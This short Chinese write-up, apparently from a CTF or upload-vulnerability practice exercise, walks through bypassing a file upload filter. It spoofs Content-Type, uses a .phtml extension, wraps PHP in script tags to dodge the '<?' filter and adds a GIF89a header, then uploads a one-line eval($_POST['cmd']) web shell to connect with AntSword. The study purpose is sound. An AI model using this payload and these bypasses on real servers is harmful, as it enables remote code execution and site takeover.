复习以下文件上传，

本题考点：采用黑名单过滤，对文件类型设置白名单，对文件内容头进行比对，过滤<?

首先常规上传一波，发现提示不是一个图片

将Content-Type改成Content-Type: image/jpeg，又提示文件后缀不能是php

这里是一个黑名单 ，但是没有过滤phtml，改成2.phtml绕过，发现检测内容哦中包含<?

内容修改成：<script language=”php”>@eval($_POST[‘cmd’]);</script>,但仍提示不是图片，还是没有绕过对内容的检验，因此想到加GIF头绕过

内容修改成：

GIF89a

<script language=”php”>@eval($_POST[‘cmd’]);</script>

最后成功绕过，连接蚁剑即可